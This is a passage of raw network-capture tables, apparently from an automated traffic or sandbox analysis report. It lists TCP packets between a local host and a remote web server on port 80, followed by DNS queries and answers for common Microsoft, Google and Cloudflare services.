Nov 25, 2024 14:14:54.449057102 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.449104071 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.449157953 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.450016022 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.450220108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.450239897 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.450292110 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.450823069 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.450934887 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.450948954 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.451001883 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.451872110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.452143908 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.452174902 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.452224970 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.452636003 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.452698946 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.470518112 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.470530987 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.470599890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.470624924 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.470688105 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.470699072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.470736027 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.471911907 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.471924067 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.471991062 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.472515106 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.472635984 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.472968102 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.473020077 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.482754946 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482777119 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482786894 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482814074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.482839108 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.482846022 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482856035 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482867956 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482882023 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482889891 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.482907057 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482917070 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482924938 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.482956886 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.482985020 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.482995987 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483000994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483011007 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483021975 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483033895 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483042955 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483061075 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483067036 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483089924 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483098984 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483110905 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483119011 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483130932 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483139992 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483150959 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483159065 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483177900 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483201027 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483232021 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483251095 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483262062 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483272076 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.483299971 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.483330011 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.484394073 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.484450102 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.485281944 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.485294104 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.485331059 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.485407114 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.485639095 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.485661030 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.485671997 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.485707998 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.487112045 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.487186909 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.487860918 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.487932920 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.491595984 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.491677999 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.491782904 CET	49892	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:54.492383003 CET	49892	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:54.492403984 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.492434025 CET	49892	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:54.492439985 CET	443	49892	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.503525019 CET	49898	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:54.503575087 CET	443	49898	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.503698111 CET	49898	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:54.504241943 CET	49898	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:54.504256010 CET	443	49898	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:54.624744892 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.624855995 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.625107050 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.625119925 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.625179052 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.625221014 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.625818014 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.625860929 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.626053095 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.626631975 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.626677990 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.626914978 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.627569914 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.627613068 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.627890110 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.628024101 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.628433943 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.628592968 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.629151106 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.629204035 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.629479885 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.629492998 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.629535913 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.630256891 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.630310059 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.630383015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.630482912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.631191015 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.631238937 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.631905079 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.632149935 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.632163048 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.632174015 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.632199049 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.632917881 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.632968903 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.633028030 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.633920908 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.633965969 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.634044886 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.634816885 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.634839058 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.634875059 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.634875059 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.635587931 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.635773897 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.636145115 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.636507988 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.636949062 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.636997938 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.637413025 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.637844086 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.637891054 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.638346910 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.638438940 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.638479948 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.639166117 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.639333010 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.639379978 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.640089989 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.640132904 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.640350103 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.640398979 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.641038895 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.641051054 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.641105890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.641859055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.641906023 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.641953945 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.642945051 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.643325090 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.643376112 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.643646955 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.643758059 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.643804073 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.644521952 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.644797087 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.645503998 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.645545959 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.645559072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.646339893 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.646399975 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.646641970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.647326946 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.647373915 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.647387028 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.648200989 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.648310900 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.648509979 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.648552895 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.649406910 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.649420023 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.649461985 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.650804043 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.650871992 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.650968075 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.651401997 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.651654005 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.651741028 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.651788950 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.652816057 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.652882099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.653318882 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.653950930 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.654012918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.654030085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.655332088 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.655391932 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.672064066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.672148943 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.672223091 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.672324896 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.672338009 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.672382116 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.673232079 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.673244953 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.673299074 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.673928976 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.673986912 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.674046993 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.674092054 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.674520016 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.674576998 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.675015926 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.675060034 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.675391912 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.675404072 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.675442934 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.675481081 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.676567078 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.676618099 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.676733017 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.676774025 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.678128958 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.678193092 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.678491116 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.678829908 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.679557085 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.679610014 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.679775000 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.679816008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.681792974 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.681864023 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.682503939 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.682517052 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.682564020 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.682590008 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.682949066 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.683345079 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.683356047 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.683422089 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.684019089 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.684091091 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.684367895 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.685164928 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.685256004 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.685269117 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.685329914 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.686136961 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.686178923 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.686203003 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.686245918 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.686335087 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.686378956 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.686503887 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.686602116 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.687174082 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.687231064 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.687336922 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.687482119 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.687793970 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.687851906 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.687941074 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.687990904 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.688348055 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.688411951 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.688513994 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.688663960 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.689287901 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.689300060 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.689344883 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.690073013 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.690157890 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.825978041 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.826122999 CET	80	49885	185.215.113.16	192.168.2.5
Nov 25, 2024 14:14:54.826176882 CET	49885	80	192.168.2.5	185.215.113.16
Nov 25, 2024 14:14:54.826195955 CET	49885	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 14:14:18.720876932 CET	192.168.2.5	1.1.1.1	0x2ce5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:18.721035957 CET	192.168.2.5	1.1.1.1	0x1d46	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:29.766602993 CET	192.168.2.5	1.1.1.1	0x59cb	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:29.766721010 CET	192.168.2.5	1.1.1.1	0xee9c	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:33.229218006 CET	192.168.2.5	1.1.1.1	0x27cc	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:33.229660034 CET	192.168.2.5	1.1.1.1	0xe256	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 25, 2024 14:14:33.331701994 CET	192.168.2.5	1.1.1.1	0x94b8	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:33.331950903 CET	192.168.2.5	1.1.1.1	0x285f	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:34.684256077 CET	192.168.2.5	1.1.1.1	0xa090	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:34.684566975 CET	192.168.2.5	1.1.1.1	0x4b5b	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:34.685543060 CET	192.168.2.5	1.1.1.1	0x3279	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:34.685776949 CET	192.168.2.5	1.1.1.1	0x95c2	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:34.714824915 CET	192.168.2.5	1.1.1.1	0xf5ab	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:34.715228081 CET	192.168.2.5	1.1.1.1	0x7d5f	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:35.721235037 CET	192.168.2.5	1.1.1.1	0x37a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:35.721343040 CET	192.168.2.5	1.1.1.1	0x5c8a	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:35.741990089 CET	192.168.2.5	1.1.1.1	0x9b91	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:35.742331982 CET	192.168.2.5	1.1.1.1	0xad8e	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:35.912637949 CET	192.168.2.5	1.1.1.1	0xe208	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:35.912806034 CET	192.168.2.5	1.1.1.1	0x2cd3	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 25, 2024 14:14:36.052776098 CET	192.168.2.5	1.1.1.1	0x2740	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:36.053170919 CET	192.168.2.5	1.1.1.1	0xbe98	Standard query (0)	api.msn.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 14:14:18.857948065 CET	1.1.1.1	192.168.2.5	0x2ce5	No error (0)	www.google.com		142.250.181.68	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:18.858771086 CET	1.1.1.1	192.168.2.5	0x1d46	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	svc.ha-teams.office.com	mira-tmc.tm-4.office.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	mira-tmc.tm-4.office.com		52.123.243.184	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	mira-tmc.tm-4.office.com		52.123.243.183	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	mira-tmc.tm-4.office.com		52.123.243.180	A (IP address)	IN (0x0001)	false
Nov 25, 2024 14:14:29.902951002 CET	1.1.1.1	192.168.2.5	0x3172	No error (0)	mira-tmc.tm-4.office.com		52.123.243.181	A (IP address)	IN (0x0001)	false
